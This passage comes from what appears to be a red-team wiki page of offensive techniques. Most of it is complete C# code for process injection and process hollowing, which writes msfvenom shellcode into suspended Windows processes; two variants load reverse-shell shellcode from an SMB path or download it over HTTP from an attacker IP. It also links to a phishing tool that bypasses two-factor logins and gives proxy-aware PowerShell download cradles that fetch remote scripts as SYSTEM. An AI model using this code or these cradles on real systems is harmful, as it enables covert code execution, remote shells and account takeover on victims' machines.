    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
